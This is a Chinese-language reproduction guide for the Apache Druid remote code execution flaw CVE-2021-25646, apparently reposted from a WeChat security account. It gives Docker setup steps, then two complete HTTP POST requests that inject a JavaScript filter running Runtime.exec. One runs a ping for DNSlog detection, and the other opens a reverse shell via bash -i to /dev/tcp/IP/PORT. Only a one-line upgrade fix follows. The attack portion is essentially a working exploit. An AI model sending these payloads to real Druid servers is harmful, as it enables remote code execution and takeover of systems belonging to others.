#漏洞概述
#影响版本
Apache Druid < 0.20.1#搭建环境
为了复现方便，这里使用docker搭建环境docker search docker-druid #搜索镜像docker pull fokkodriesprong/docker-druid #拉取镜像docker run --rm -i -p 8888:8888 fokkodriesprong/docker-druid #启动镜像
注：如果大家拉取镜像比较慢可以配置一下国内镜像源，这里我使用的是阿里云的加速源URL为:https://cr.console.aliyun.com/
##本机访问IP:888端口显示该页面表示启动成功
#漏洞复现
##POC使用DNSlog检测是否可以执行命令
POST /druid/indexer/v1/sampler?for=filter HTTP/1.1Host: 192.168.30.137:8888Content-Length: 604Accept: application/json, text/plain, */*User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Content-Type: application/json;charset=UTF-8Origin: http://192.168.30.137:8888Referer: http://192.168.30.137:8888/unified-console.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"/opt/","filter":""}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript","function":"function(value){return java.lang.Runtime.getRuntime().exec('ping XXXX')}","dimension":"added","":{"enabled":"true"}}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000}}
##反弹shell
这里说一下踩的坑之前是用0.20.0版本做的复测，发现在0.20.0版本使用/bin/bash命令时服务器会报错,应该是做了过滤
所以改用了0.17.0版本来进行测试，其他版本请自测
POST /druid/indexer/v1/sampler?for=filter HTTP/1.1Host: 192.168.30.137:8888Content-Length: 604Accept: application/json, text/plain, */*User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Content-Type: application/json;charset=UTF-8Origin: http://192.168.30.137:8888Referer: http://192.168.30.137:8888/unified-console.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"/opt/","filter":""}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript","function":"function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/IP/PORT 0>&1')}","dimension":"added","":{"enabled":"true"}}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000}}
修复方式
升级到最新版Apache Druid 0.20.1
下载链接：https://druid.apache.org/downloads.html
本文始发于微信公众号（利刃信安二狗子）：Apache Druid 远程代码执行漏洞（CVE-2021-25646）
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